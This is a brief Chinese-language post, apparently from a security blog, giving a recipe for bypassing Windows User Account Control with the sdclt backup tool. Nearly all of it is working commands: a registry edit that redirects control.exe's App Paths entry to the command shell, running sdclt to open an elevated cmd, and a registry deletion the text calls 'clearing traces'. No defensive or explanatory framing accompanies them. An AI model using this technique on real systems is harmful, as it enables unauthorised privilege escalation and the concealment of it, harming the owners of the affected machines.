利用sdclt磁盘备份工具绕过UAC用户账户管理

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /t REG_SZ /d %COMSPEC% /f 获得管理员权限
sdclt 弹出cmd
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f 清除痕迹


你可能感兴趣的:(安全)